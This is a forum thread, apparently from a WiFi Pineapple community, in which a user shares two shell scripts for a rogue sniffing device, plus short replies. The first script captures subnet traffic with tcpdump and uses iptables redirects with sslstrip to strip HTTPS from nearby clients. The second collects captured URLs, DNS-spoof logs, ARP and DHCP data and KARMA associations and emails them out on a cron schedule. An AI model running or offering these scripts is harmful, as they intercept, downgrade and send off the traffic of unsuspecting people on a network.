Jump to content

Random Scripts


telot
 Share

Recommended Posts

Good morning everyone!

Its been a while since I've contributed, so this is way overdue. I see a lot on new faces on these forums, which is a wonderful thing! I've been jam packed busy, so theres nothing too fun to share at the moment, but hopefully some of you will find these simple scripts useful. They are designed with a dropbox/sniffer application in mind. Sniff all the packets and keep me abreast of whats going on. Enjoy!

dumpNstrip.sh (I either run this upon startup or keep it bound to the WPS button for great win)


#!/bin/sh
tcpdump -i eth0 -w /usb/cap.pcap -n net 172.16.42.0/24 &
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 10000
sslstrip -w /usb/sslstrip.log &
[/CODE]

telots-emailreport.sh (I keep this on a cron job for once every 20 minutes - keeps me up to date on the cap file size, number of "guests", and system stability)

[CODE]#!/bin/sh
TODAY=$(date +"%m-%d-%y")

rm /usb/emailreport.log

du -h /usb/cap.$TODAY.pcap > /usb/emailreport.log

cat /www/pineapple/logs/associations.log >> /usb/emailreport.log

cat /www/pineapple/logs/urlsnarf.log >> /usb/emailreport.log
./killurlsnarf.sh
./starturlsnarf.sh
cat /www/pineapple/logs/dnsspoof.log >> /usb/emailreport.log

cat /proc/net/arp >> /usb/emailreport.log

cat /tmp/dhcp.leases; echo '\n'; cat /proc/net/arp; echo '\n'; grep KARMA /tmp/karma.log | grep -v -e enabled | grep -v -e malloc | grep -v -e CTRL_IFACE | grep -v -e KARMA_STATE | grep -v -e Request >> /usb/emailreport.log

ssmtp -v EMAIL@DOMAIN.com < /usb/emailreport.log[/CODE]

telot

Link to comment
Share on other sites

@WatskeBart - you figured out my grand plot!! I wanted all the logs! DRINK ALL THE BOOZE - LOG ALL THE THINGS!

I'm glad you guys enjoy tho - feel free to post any scripts you can't live without!

telot

Edited by telot
Link to comment
Share on other sites

@WatskeBart - you figured out my grand plot!! I wanted all the logs! DRINK ALL THE BOOZE - LOG ALL THE THINGS!

I'm glad you guys enjoy tho - feel free to post any scripts you can't live without!

telot

I have changed the email address in your first post to prevent people overlooking it and you indeed getting log files.

Also, will prevent spambots ;)

Best Regards,

Sebkinne

Link to comment
Share on other sites

@Telot... Can you please provide reference for me and the rest of the scripting newbs here about tying the dumpNstrip.sh (or other shell scripts) to the WPS button... (Hope this isn't one of those obvious ones. I have actually looked through the menus and do not see this as an option on ver 2.5.0)

R/

Z**

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...